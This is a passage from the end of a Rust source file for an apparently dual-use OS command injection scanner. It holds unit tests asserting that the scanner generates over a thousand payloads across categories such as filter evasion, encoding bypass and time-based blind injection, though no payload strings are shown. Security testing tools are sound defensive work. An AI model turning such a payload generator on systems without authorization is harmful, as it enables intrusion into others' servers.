- PortSwigger: https://portswigger.net/web-security/os-command-injection",
            base_remediation, specific
        )
    }
}

// UUID generation
mod uuid {
    use rand::Rng;

    pub struct Uuid;

    impl Uuid {
        pub fn new_v4() -> Self {
            Self
        }

        pub fn to_string(&self) -> String {
            let mut rng = rand::rng();
            format!(
                "{:08x}-{:04x}-{:04x}-{:04x}-{:012x}",
                rng.random::<u32>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u64>() & 0xffffffffffff
            )
        }
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn create_test_scanner() -> CommandInjectionScanner {
        CommandInjectionScanner::new(Arc::new(HttpClient::new(30, 3).unwrap()))
    }

    #[test]
    fn test_enterprise_payload_count() {
        let scanner = create_test_scanner();
        let payloads = scanner.generate_enterprise_payloads();

        // Should have 1000+ enterprise-grade payloads
        assert!(
            payloads.len() >= 1000,
            "Should have at least 1000 payloads, got {}",
            payloads.len()
        );
        println!("Generated {} enterprise payloads", payloads.len());
    }

    #[test]
    fn test_metachar_payload_count() {
        let scanner = create_test_scanner();
        let payloads = scanner.generate_metachar_payloads();

        // Should have many metacharacter combinations
        assert!(
            payloads.len() >= 500,
            "Should have at least 500 metachar payloads, got {}",
            payloads.len()
        );
    }

    #[test]
    fn test_payload_categories() {
        let scanner = create_test_scanner();
        let payloads = scanner.generate_enterprise_payloads();

        let categories: std::collections::HashSet<_> =
            payloads.iter().map(|p| &p.category).collect();

        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::ShellMetacharacters),
            "Missing ShellMetacharacters"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::CommandSubstitution),
            "Missing CommandSubstitution"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::NewlineInjection),
            "Missing NewlineInjection"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::EncodingBypass),
            "Missing EncodingBypass"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::TimeBased),
            "Missing TimeBased"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::FilterEvasion),
            "Missing FilterEvasion"
        );
        assert!(
            categories
                .iter()
                .any(|c| **c == CmdInjectionCategory::WindowsSpecific),
            "Missing WindowsSpecific"
        );
    }

    #[test]
    fn test_category_names() {
        assert_eq!(
            CmdInjectionCategory::ShellMetacharacters.as_str(),
            "Shell Metacharacters"
        );
        assert_eq!(
            CmdInjectionCategory::CommandSubstitution.as_str(),
            "Command Substitution"
        );
        assert_eq!(CmdInjectionCategory::TimeBased.as_str(), "Time-Based Blind");
        assert_eq!(CmdInjectionCategory::Polyglot.as_str(), "Polyglot");
        assert_eq!(
            CmdInjectionCategory::WildcardBypass.as_str(),
            "Wildcard Bypass"
        );
    }

    #[test]
    fn test_time_based_payloads_have_delays() {
        let scanner = create_test_scanner();
        let payloads = scanner.generate_time_based_payloads();

        assert!(!payloads.is_empty(), "Should have time-based payloads");

        for payload in &payloads {
            assert!(
                payload.expected_delay.is_some(),
                "Time-based payload should have expected delay"
            );
            assert!(
                matches!(payload.detection_method, DetectionMethod::TimeBased(_)),
                "Should use time-based detection"
            );
        }
    }

    #[test]
    fn test_separators() {
        let scanner = create_test_scanner();
        let separators = scanner.generate_separators();

        assert!(
            separators.len() >= 10,
            "Should have at least 10 separators, got {}",
            separators.len()
        );
    }

    #[test]
    fn test_commands() {
        let scanner = create_test_scanner();
        let commands = scanner.generate_commands();

        assert!(
            commands.len() >= 40,
            "Should have at least 40 commands, got {}",
            commands.len()
        );

        // Check for both Unix and Windows commands
        let has_unix = commands.iter().any(|(_, _, is_win)| !*is_win);
        let has_windows = commands.iter().any(|(_, _, is_win)| *is_win);

        assert!(has_unix, "Should have Unix commands");
        assert!(has_windows, "Should have Windows commands");
    }
}